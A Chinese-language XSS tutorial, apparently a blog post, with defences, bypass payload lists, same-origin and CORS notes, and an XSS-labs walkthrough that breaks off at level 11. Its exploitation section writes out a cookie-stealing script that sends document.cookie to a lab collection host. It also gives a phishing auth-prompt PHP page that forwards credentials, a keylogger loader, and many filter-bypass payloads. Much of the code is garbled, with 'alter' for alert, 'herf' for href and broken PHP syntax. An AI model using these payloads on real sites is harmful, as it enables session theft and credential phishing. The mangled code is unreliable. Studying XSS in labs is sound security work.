[Web安全 网络安全]-XSS跨脚本攻击

文章目录:

一:前言

1.定义

2.漏洞出现的原因

3.鉴别可能存在XSS漏洞的地方

4.攻击原理

5.危害

6.防御

7.环境

[7.1 靶场](#7.1 靶场)

[7.2 自动扫描工具](#7.2 自动扫描工具)

[7.3 手工测试工具](#7.3 手工测试工具)

8.payload是什么

二:常用的标签语法

三:XSS的分类

反射型get

存储型post

DOM型

四:漏洞利用

1.盗取cookie

2.弹窗钓鱼

3.获取键盘记录

4.盲打

五:绕过*

闭合input标签绕过

鼠标事件过滤

空格绕过

大小写绕过防护

双写绕过防护

标签绕过防护

引号过滤绕过

括号绕过

字符拼接绕过

编码绕过

HTTPOnly绕过

注释http://绕过

隐藏的传参闭合绕过

注入绕过

htmlspecialchars函数

六:同源和跨域

1.同源

2.跨域

cors跨域

jsonp跨域

七:XSS-labs靶场练习

Less1:url传参

Less2:闭合input标签

[Less3:onclick onfocus onblur事件绕过](#Less3:onclick onfocus onblur事件绕过)

[Less4:onclick onfocus onblur事件绕过闭合](#Less4:onclick onfocus onblur事件绕过闭合)

[Less5:a href 标签闭合绕过](#Less5:a href 标签闭合绕过)

Less6:大小写绕过

Less7:双写绕过

Less8:unicode属性值编码绕过

Less9:注释http://绕过

Less10:隐藏的传参闭合绕过

Less11:Referer注入

[Less12:User Agent注入](#Less12:User Agent注入)

Less13:cookie注入

Less14:题有问题

Less15:ng-include文件包涵

[Less16:url编码-标签绕过 换行符替换空格绕过](#Less16:url编码-标签绕过 换行符替换空格绕过)

Less17_18:embed标签-鼠标事件闭合绕过

Less19_20:过时


一:前言

1.定义

Delphi 复制代码
XSS全称(Cross site scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XS


XSS是指攻击者在网页中嵌入客户端脚本代码,通常是javascript编写的危险代码(也可以是ActionScript VBScript)
当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的


XSS属于客户端攻击,受害者是用户(如果是管理人员也可以进行服务端攻击)

2.漏洞出现的原因

Delphi 复制代码
程序对输入和输出的控制不够严格:在输入到前端时被浏览器当作有效代码解析执行,从而产生危害

3.鉴别可能存在XSS漏洞的地方

Delphi 复制代码
鉴别(输入输出的地方):输出的形式是以标签的形式进行展示、弹窗、用户交互

4.攻击原理

Delphi 复制代码
第一步:攻击者发现正常网站的xss漏洞,注入一段js代码
       比如location.href="钓鱼网站"


第二步:用户通过客户端-浏览器访问这个网站的页面


第三步:服务端-服务器响应了html的页面,这里面包含攻击者的js代码


第四步:浏览器加载html文件过程中,自动运行了攻击者的js代码,导致浏览器又继续访问了钓鱼网站
        用户输入账号密码发给了钓鱼网站


第五步:钓鱼网站将数据保存起来盗取信息

5.危害

Delphi 复制代码
1.获取用户信息;(如浏览器信息、ip地址、cookie信息等)

2.钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器)

3.注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响

4.后台增删改网站数据等操作:(配合CSRF漏洞,骗取用户点击,利用js拟浏览器发包)

5.xss蠕虫(微博蠕虫:只要看过某人的微博就自动关注某人;贴吧蠕虫:看过某个帖子就自动回复这个帖子)

6.有局限性的键盘记录

7.挂马:挂马是指‌黑客通过各种手段,包括SQL注入、网站敏感文件扫描、服务器漏洞、网站程序0day等
       获得网站管理员账号,然后登录网站后台,通过数据库"备份/恢复"或者上传漏洞获得一个‌webshell

6.防御

javascript 复制代码
黑名单:过滤特殊符号及字符如<、>、%、#、/、(、)、script、svg、object、on事件等

白名单:只允许特定类型或符号

编码及转义
    输出在标签或属性中进行HTML编码
    输出在script标签或事件中进行JavaScript编码
    输出在url中进行url编码。

cookie中设置httponly:setcookie将httponly选项设置为true,防范cookie劫持

确保执行脚本来源可信:开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略 )

不使用有缺陷的第三方库

7.环境

7.1 靶场

pikachu靶场:是一个网络安全训练平台,旨在模拟真实世界中的网络攻击和防御场景,帮助用户提高网络安全技能和知识

XSS-labs:是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台

XSS Game:XSS靶场练习

蓝莲花:XSS靶场练习

xss平台:在线平台

7.2 自动扫描工具

APPscan、AwVS、xray等大型漏扫工具、xsstrike等自动化小工具

7.3 手工测试工具

Burpsuite、firefox(hackbar)、360开发的一款浏览器插件:XSSER XSSF,不太好用昂

8.payload是什么

Payload在网络安全中指的是攻击者在利用漏洞时,通过向受攻击的系统发送的恶意代码或指令,用于实现攻击目的的数据包

javascript 复制代码
<script>alert('Zer0Lulz")</script>

<SCRiPt>AIErT('XSS)</ScRiPt>

"><script>alert('XSS')</script>

"><SCRiPt>AIErT(XSS')</SCRiPt>

=><><script>alert('XSS")</script>

=><><ScRiPt>AlErT(XSS')</ScRiPt>

="><script>alert('Xss')</script>

="><ScRiPt>AIErT(XSS")</ScRiPt>

='><script>alert('XSS')</script>

='><ScRiPt>AIErT(XSS"</ScRiPt>

"><<script>alert('XSS')</script>

"><<ScRiPt>AIErT(XSS"</ScRiPt>

='><<script>alert(XSS')</script>

='><<ScRiPt>AIErT('XSS")</ScRiPt>

<script>alert(String.fromCharCode(88, 83, 83)</script>

<ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>

><script>alert(String.fromCharcode(88,83,83)</script>

><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>

=><><script>alert(String.fromCharCode(88, 83, 83)</script>

=><><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>

="><script>alert(String.fromCharCode(88, 83, 83)</script>

="><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>

='><script>alert(String.fromCharCode(88,83,83)</script>

='><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>
javascript 复制代码
'><img src="#" onmouseover="alter('xss')">

二:常用的标签语法

|------------------|-----------------------------------------------------------------------------------------------|
| <script> | <script>alert("xss");</script> |
| <img> | <img src=1 οnerrοr=alert("xss");> onerror 事件是javascript中的事件之一。只要页面中出现脚本错误,就会产生onerror事件 |
| <a> | '"><a herf='javascript:alter(123)'>百度</a> |
| <video> | <video><source οnerrοr="alert(1)"> |
| <audio> | <audio src=x οnerrοr=alert("xss");> |
| <input> | <input οnfοcus="alert('xss');"> |
| <select> | <select οnfοcus=alert(1)></select> |
| <iframe> | <iframe οnlοad=alert("xss");></iframe> |
| <details> | 使用open属性触发ontoggle事件,无需用户去触发(可展开和折叠的内容区域 ) <details open οntοggle="alert('xss');"> |
| <textarea> | <textarea οnfοcus=alert("xss"); autofocus> |

三:XSS的分类

|-------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ### 反射型get | 与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等 (中低威漏洞)------>可用于钓鱼、引流、配合其他漏洞如CSRF等 javascript '"><script>confirm(1)</script> //'">完成闭合符号 javascript xx'</a><script>confirm(1)</script><a> //对话框确认取消 javascript xx' onclick="alter(2)"> |
| ### 存储型post | 交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面 (高威漏洞)------>攻击范围广,流量传播大,可配合其他漏洞 php <?php $name=$_GET['name']; echo "welcome $name<br>"; ?> |
| ### DOM型 | 不与后台服务器产生数据交互,通过JS代码操作DOM文档对象模型(html文件)操作前端代码输出的时候产生的漏洞 DM操作:html标签元素节点操作、修改标签属性 DOM型:大部分属于反射型、少部分属于存储型 (中低威漏洞)------>配合长度大小不受限制 Delphi document.referer window.name location innerhtml document.write |

|-----------|------------------------------------------------------------------------------------|
| 非持久型XSS攻击 | 非持久型xss攻击是一次性的,仅对当次的页面访问产生影响 要求用户访问一个被攻击者篡改后的链接,用户访问该链接时 被植入的攻击脚本被用户游览器执行,从而达到攻击目的 |
| 持久型XSS攻击 | 持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在 |
| DOM型XSS | DOM型XSS:可能是持久型、也可能是非持久型 |

四:漏洞利用

1.盗取cookie

GET型:加地址

Delphi 复制代码
'"><script>
    document.location = 'http://192.168.31.172/picachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;
</script>

POST型:伪造HTML页面,写好攻击代码逻辑

Delphi 复制代码
<head>
    <script>
        //当浏览器加载完页面所有的内容后自动触发执行
        window.onload=function(){
            document .getElenentById("postsubnit").click();
        }
    </script>
</head>

<body>
<form method="post" action="http://192,168.31,110/piknchu/vul/xss/xsspost/xss roflected post php">
    <input id="xssr in" type="text" name="message" value=
        "<script>
            document.location ='http://192.168.31.172/pikachu/pkxss/xcookie/cookio.php?cookie=' + document.cookie;
        </script>"
    />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>

2.弹窗钓鱼

Delphi 复制代码
钓鱼攻击利用页面 D:phpstudy\ww\pikachu\pkxss\xfish

<script src="http://192.168.31.172/pikachu/pkxss/xfish/fish.php"></script>

fish.php

Delphi 复制代码
<?php
    error reporting(0);
    // var dump($_SERVER);

    if((!isset($_SERVER['PHP AUTH USER']))|| (!isset($_SERVER['PHP AUTH W'])))(
        //发送认证框,并给出迷感性的info
        header('Content-type:text/html;charset=utf-8');
        header("wwW-Authenticate:Basic realm认证"");
        header('HTTP/1.0 401 Unauthorized');
        echo "Authorization Required.";
        exit;
    else if ((isset($_SERVER['PHP AUTH USER']))&& (isset ($_SERVER['PHP AUTH PW']))){
        //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后合的IP
        header ("location: http://192.168.31.172/pikachu/pkxss/xfish/xfish,php?username{S_SERVER[PHP_AUTH_USER])&password={$_SERVER[PHP_AUTH_pw]}");
?>

xfish.php

Delphi 复制代码
<?php
    error reporting(0);
    include once"../inc/config.inc.php';
    include once../inc/mysql.inc.php';
    $link=connect();


    if(!empty($_GET['username'])&& !empty($_GET['password'])){
        susernane=$_gET[username'];
        spassword=$_GET['password"];
        Sreferer=r";
        sreferer.=$_SERVER['HTTP REFERER'];
        Stime=date('Y-m-d q:i:s');

        $query="insert fish (time,username,password, referer) values ('$time', '$username', '$password','$sreferer'.'$Stime');

        $result=mysqli_query($link,squery);
?>

3.获取键盘记录

Delphi 复制代码
'"><script src="http://192.168.31.172/pikachu/pkxss/rkeypress/rk.js"></script>

rk.js:获取用户按下了哪些键进行拼接起来发送给ajax,然后以post请求发给rkserver.php(每个键通过JS代码映射出数字)

rkserver.php:取出数据

Delphi 复制代码
<?php
    include once'../inc/config.inc.php';
    include once'../inc/mysql.inc.php';
    slink=connect();

    //设置允许被跨域访问
    header("Access-Control-Allow-0rigin:*");

    $data =$_PosT['datax'];
    $query="insert keypress(data) values('$data')",
    $result=mysqli_query(slink,squery);
?>

4.盲打

Delphi 复制代码
定义:XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下
    提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码
    当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的
    也就是通过前端插入攻击代码,在后台管理系统中生效


简述:发现某个页面有XSS漏洞,在当前页面提交了XSS的攻击代码,在这个页面上面是不显示的,在其他页面中显示
     主要针对后台管理系统


'"><sCrIpT>alert(后台查看666说明被攻击)</scrIpT>

五:绕过*

|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ‌alert(123) alert("Hello, world!")函数:用于在‌浏览器中弹出一个带有指定消息的警告框 confirm("Hello, world!")函数:需要用户确认一下是否要进行操作,提供的框有一个「确定」和「取消」两个按钮 ||
| ### 闭合input标签绕过 | javascript '"><script>alert('jaden');</script> |
| ### 鼠标事件过滤 | javascript '"onfouces=alter("123") 鼠标事件函数: onclick:鼠标点击 onblur:离开 onfouces:聚焦 ondblclick: 鼠标双击 onmousedown: 鼠标按钮被按下 onmouseup: 鼠标按钮被释放 onmousemove: 鼠标被移动 onmouseover: 鼠标移动到元素上 onmouseout: 鼠标从元素上移开 onmouseenter: 鼠标进入元素 onmouseleave: 鼠标离开元素 |
| ### 空格绕过 | javascript 当空格被过滤掉时,我们可以用 / 来代替空格:<img/src=x/onerror="alert('xss')"> javascript 换行符号替换空格:src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>' |
| ### 大小写绕过防护 | javascript '"><scRIpt>confirm(1)</scRIpt> javascript <ImG sRc=x onerRor=alert("xss");> |
| ### 双写绕过防护 | javascript '"><sc<script>ipt>confirm(1)</sc<script>ipt> javascript <imimgg srsrcc=x onerror=alert("xss");> |
| ### 标签绕过防护 | 替换 javascript 换一个别的标签进行替换:script、a、img、video、audio... a href javascript '"><a herf='javascript:alter(123)'>百度</a> |
| ### 引号过滤绕过 | javascript 用反引号代替单双引号<img src=x onerror=alert(`xss`);> |
| ### 括号绕过 | javascript 当括号被过滤掉的时候我们可以使用throw来绕过<img src=x onerror="javascript:window.onerror=alert;throw 1"> 如果window.onerror的修改被阻止了,那么这里的throw 1只会导致一个未捕获的异常 通常会在浏览器的开发者控制台中显示,而不是弹出一个警告框 |
| ### 字符拼接绕过 | javascript 利用eval:<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> javascript 利用top:<script>top["al"+"ert"](`xss`);</script> |
| ### 编码绕过 | 编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制 在线Unicode编码解码 工具在线 Unicode 编码转换 |
| ### 编码绕过 | url编码绕过 javascript 原始SQL注入尝试:1' OR '1'='1 javascript 绕过尝试(URL编码):1%27+OR+%271%27%3D%271 ascii码绕过 javascript 如果攻击者发现系统对特定字符进行了过滤,他们可能会尝试使用这些字符的ASCII码值(通过脚本或工具)来生成绕过过滤的输入 十六进制hex绕过 javascript 原始XSS尝试:<script>alert("XSS")</script> javascript 绕过尝试(Hex编码):<script>alert(\x22XSS\x22)</script> base64绕过 javascript 原始XSS尝试:<script>alert("XSS")</script> javascript 绕过尝试(Base64编码):<img src="x" onerror="eval(atob('PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='))"> js编码 javascript 原始XSS尝试:<script>alert("XSS")</script> javascript 绕过尝试(Unicode编码):<script>alert(\u0058\u0053\u0053)</script> unicode编码 javascript 原始URL:http://example.com/search?q=<script>alert("XSS")</script> javascript 绕过尝试(Unicode编码):http://example.com/search?q=%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0022%u0058%u0053%u0053%u0022%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e |
| ### HTTPOnly绕过 | httponly不是防止XXS攻击的,而是防止XXS攻击代码中的JS代码在浏览器上获取cookie信息 第七个参数设置为true javascript setcookie('ant[uname]',$_POST['username'],time()+3600, NULL ,NULL ,NULL,TRUE); |
| ### 注释http://绕过 | javascript javascript:alert('jaden')//http://www.baidu.com |
| ### 隐藏的传参闭合绕过 | javascript '" type='text' onclick='alert(123)' |
| ### 注入绕过 | Referer注入 、User Agent注入、Cookie注入 javascript 利用turp抓吧工具,把对应里面的值替换成 '" type='text' onclick='alert(123)' |

htmlspecialchars函数

javascript 复制代码
htmlspecialchars(string,flags,character-set,double_encode)函数 
    把一些预定义的字符转换为html实体

    但是这个函数默认配置不会将单引号和双引号过滤,只有设置quotestyle规定如何编码才可以
        ENT_COMPAT            默认的,仅编码双引号,也就是默认情况下不对单引号进行处理
        ENT_QUOTES            编码双引号和单引号
        ENT_NOQUOTES          不编码任何引号



预定义字符
    预定义的字符是:这就是我们学到的html实体编码表
        &(和号)成为         &amp
        (双引号)成为        &quot
        (单引号)成为        &#039
        <(小于)成为         &lt
        >(大于)成为         &gt

    导致你提交的script标签再输出的时候变成了
        &1tscript&gt


不同语言防犯XSS函数
    PHP    :htmlentities()、htmlspecialchars()
    Python : cgi.escape()
    ASP    :Server.HTMLEncode()
    ASP.NET: Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting Library
    Java   :xssprotect(Open Source Library)
    Node.js: node-validator
javascript 复制代码
php文件如下:把预定义的字符"<"(小于)和">"(大于)转换为 HTML 实体:
    <?php
        $str ="This is some <b>bold</b> text."
        echo htmlspecialchars($str);
    ?>


在html输出如下:
    <htm1>
        <head></head>
        <body>
            This is some <b>bold</b> text.
        </body>
    </htm1>

浏览器输出如下:
    This is some <b>bold</b> text.

六:同源和跨域

1.同源

javascript 复制代码
定义:对于js代码来说,为了安全考虑,所有浏览器都约定了"同源策略"
      同源策略禁止页面加载或执行与自身来源不同的域的任何脚本,既不同域之间不能使用JS进行操作。
      比如:x.com域名下的js不能操作y.com域名下的对象


那么为什么要有同源策略? 
    比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),也就是说恶意的请求了其他网站的页面或者数据,拿到自己的页面上使用
    如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码

    非同源的网络请求script的src不受同源机制的影响


Tips:下面这些标签跨域加载资源是不受同源策略限制的,(但是资源类型是有限制的)静态资源直接不受同源机制的影响
    <script src="...">    //加载js执行
    <img src="...">       //图片
    <link href="...">     //css
    <iframe src="...">    //任意资源
    <a href="...">        // 超链接地址


同源策略修改
    D:\phpstudy\www\pikachu\pkxss\rkeypress\rkserver.php

    同之前的案例到后台设置好Access-contro1-A11ow-0rigin,设置为*
    既允许所有人访问。一般公司的网站后台都不会设置*号的

    //设置允许被跨域访问
    header("Access-Control-Allow-0rigin:*");

2.跨域

javascript 复制代码
什么是跨域
    http://     www.        jaden.cn     :80        /news/index.php
    协议        子域名       主域名        端口       资源地址

    当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域

    我们把不同的域之间请求数据的操作,成为跨域操作;不同域之间进行沟通,叫做跨域

    不同域示例:
        http://www.jaden.cn:80
        http://www.jaden.cn:81
        https://www.jaden.cn:80
        http://www.jadens.cn:80

cors跨域

javascript 复制代码
//设置允许被跨域访问:设置响应头键值对
    header("Access-Control-Allow-0rigin:*");

jsonp跨域

javascript 复制代码
定义:基于script标签的src属性,发送请求,携带一个回调函数参数            js
      服务器端调用这个函数携带回调函数参数来响应数据                     php
      响应回来之后,回调js中声明的这个函数                              js


    第一个网站PHP:调用发送传值
        jd_data('aa=1,bb=2');

    第一个网站JS:执行函数
        <script src="http//www.jd.com/test.php?callback=jd_data"></script>

        function jd_data(res){
            res这个参数就能拿到响应数据
        }

jd.html :ajax-jq会发生报错

javascript 复制代码
<htm1>
    <head></head>

    <body>
        <button value='走你'><button>
    </body>

    <script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script>

    <script>
        document.querySelector('button').onclick=fuction(){
            $.aiax({
                type:'get'.                            // get method
                url:"http://192 168.2 110/test.php'
                dataType:'jsonp'
                success':function(res){
                    console.log(res);
                }
            })
        }
    </script>
</html>

jd.html利用jsonp代码来实现

javascript 复制代码
<htm1>
    <head></head>

    <body>
        <button value='走你'><button>
        <div id='jd'></div>
    </body>

    <script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script>

    <script>
        document.queryselector('button').onclick= function(){
            var scdocument.createlement('script');
            sc.src='http://192.168.2.110/pikachu/pkxss/rkeypress/test.php?cb=fn';
            document.body.append(sc);
        }

        function fn(data){
            console.log(data);

            var diva=document.getElementById('jd');
            diva.innerHTML=data;
        }
    </script>
</html>

test.php

javascript 复制代码
<?php
    $fn=$_GET['cb'];                            //fn
    echo $fn."('username=jd&password=666')";    //fn('username=jd&password=666')
?>

七:XSS-labs靶场练习

Less1:url传参

Load URL地址:192.168.2.106/xss-labs/level1.php?name=test


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["name"];
        echo "<h2 align=center>欢迎用户".$str."</h2>";
    ?>
    <center><img src=level1.png></center>
    <?php 
        echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>


确认输出
    192.168.2.106/xss-labs/level1.php?name=test
    192.168.2.106/xss-labs/level1.php?name=jaden

    192.168.2.106/xss-labs/level1.php?name=jaden<script>alert(1)</script>

    192.168.2.106/xss-labs/level1.php?'"><script>alert('jaden');</script>

Less2:闭合input标签

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level2.php?keyword=test


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."
        <center>
            <form action=level3.php method=GET>
                <input name=keyword  value="'.$str.'">	
                <input type=submit name=submit value=搜索 />
            </form>
        </center>";
    ?>


确认输出
    192.168.2.106/xss-labs/level2.php?keyword=test'"><script>alert('jaden');</script>

Less3:onclick onfocus onblur事件绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level3.php?writing=wait


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level2.php method=GET>
                <input name=keyword  value='".htmlspecialchars($str)."'>        //默认双引号,只有设置ENT_QUOTES编码才双引号和单引号
                <input type=submit name=submit value="搜索"/>
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level3.php?writing=wait'onclick='alter(123)'        //点击

    192.168.2.106/xss-labs/level3.php?writing=wait'onfocus='alter(123)'        //聚焦

    192.168.2.106/xss-labs/level3.php?writing=wait'onblur='alter(123)'         //离开

    //onblur='alter(123)'        onblur='javascript:alter(123)'
    192.168.2.106/xss-labs/level3.php?writing=wait'onblur='javascript:alter(123)'

Less4:onclick onfocus onblur事件绕过闭合

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level4.php?keyword=try


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str2=str_replace(">","",$str);
        $str3=str_replace("<","",$str2);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level4.php method=GET>
                <input name=keyword  value="'.$str3.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level4.php?keyword=try'"onclick='alter(123)'        //点击

    192.168.2.106/xss-labs/level4.php?keyword=try'"onfocus='alter(123)'        //聚焦

    192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='alter(123)'         //离开
    192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='javascript:alter(123)'

Less5:a href 标签闭合绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level5.php?keyword=find


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("<script","<scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
                <form action=level5.php method=GET>
                <input name=keyword  value="'.$str3.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level5.php?keyword=find'"onclick='alter(123)'        //O后面加了横杠O_nclick

    192.168.2.106/xss-labs/level5.php?keyword=find'"<script>                     //'<scr_ipt>

    192.168.2.106/xss-labs/level5.php?keyword=find'"><a herf='javascript:alter(123)'>百度</a>

Less6:大小写绕过

Load URL地址:192.168.2.106/xss-labs/level6.php?keyword=break


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str2=str_replace("<script","<scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        $str4=str_replace("src","sr_c",$str3);
        $str5=str_replace("data","da_ta",$str4);
        $str6=str_replace("href","hr_ef",$str5);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level6.php method=GET>
                <input name=keyword  value="'.$str6.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level6.php?keyword=break'"><a herf='javascript:alter(123)'>百度</a>    //href变成了hr_ef

    192.168.2.106/xss-labs/level6.php?keyword=break'"><a HERF='javascript:alter(123)'>百度</a>    //href大写

Less7:双写绕过

Load URL地址:192.168.2.106/xss-labs/level7.php?keyword=move


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str =strtolower( $_GET["keyword"]);
        $str2=str_replace("script","",$str);
        $str3=str_replace("on","",$str2);
        $str4=str_replace("src","",$str3);
        $str5=str_replace("data","",$str4);
        $str6=str_replace("href","",$str5);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level7.php method=GET>
                <input name=keyword  value="'.$str6.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出
    192.168.2.106/xss-labs/level7.php?keyword=move'"><a herf='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了

    192.168.2.106/xss-labs/level7.php?keyword=move'"><a HERF='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了

    192.168.2.106/xss-labs/level7.php?keyword=move'"><a HEherfRF='javascscriptript:alter(123)'>百度</a>    ///双写

Less8:unicode属性值编码绕过

编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制

在线Unicode编码解码 工具在线 Unicode 编码转换

Load URL地址:192.168.2.106/xss-labs/level8.php?keyword=nice


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("script","scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        $str4=str_replace("src","sr_c",$str3);
        $str5=str_replace("data","da_ta",$str4);
        $str6=str_replace("href","hr_ef",$str5);
        $str7=str_replace('"','&quot',$str6);
        echo '
        <center>
            <form action=level8.php method=GET>
                <input name=keyword  value="'.htmlspecialchars($str).'">
                <input type=submit name=submit value=添加友情链接 />
            </form>
        </center>';
    ?>


确认输出
    //href变成了hr_ef;javascript变成了javascr_ipt;123被编码了&quotjaden
    192.168.2.106/xss-labs/level8.php?keyword=nice'"><a herf='javascript:alter(123)'>百度</a>  

    192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter("jaden")
    192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter('jaden')    //进行在线编码绕过

Less9:注释http://绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level9.php?keyword=not


查看源码
   <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("script","scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        $str4=str_replace("src","sr_c",$str3);
        $str5=str_replace("data","da_ta",$str4);
        $str6=str_replace("href","hr_ef",$str5);
        $str7=str_replace('"','&quot',$str6);
        echo '
        <center>
            <form action=level9.php method=GET>
                <input name=keyword  value="'.htmlspecialchars($str).'">
                <input type=submit name=submit value=添加友情链接 />
            </form>
        </center>';
    ?>

    <?php
        if(false===strpos($str7,'http://'))
        {
            echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
        else
        {
          echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
        }
    ?>

    <center><img src=level9.png></center>

    <?php 
        echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
    ?>


确认输出
    192.168.2.106/xss-labs/level9.php?keyword=not jaden                    //链接不合法

    192.168.2.106/xss-labs/level9.php?keyword=not https://www.baidu.com    //链接不合法

    192.168.2.106/xss-labs/level9.php?keyword=not http://www.baidu.com     //链接合法

    192.168.2.106/xss-labs/level9.php?keyword=not http:/www.baidu.com      //链接不合法

    javascript:alert('jaden')//http://www.baidu.com                        //变成javascr_ipt:alert('jaden')//http://

    //单独对javascript进行编码
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com   

Less10:隐藏的传参闭合绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level10.php?keyword=well


查看源码
   <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str11 = $_GET["t_sort"];
        $str22=str_replace(">","",$str11);
        $str33=str_replace("<","",$str22);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc    

    //闭合t_sort,发现没有链接
    192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'"onclick='alert(123)'

    //加type='text'让链接显示出来
    192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'" type='text' onclick='alert(123)'

Less11:Referer 注入

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level11.php?keyword=good


查看源码
   <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str00 = $_GET["t_sort"];
        $str11=$_SERVER['HTTP_REFERER'];
        $str22=str_replace(">","",$str11);
        $str33=str_replace("<","",$str22);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
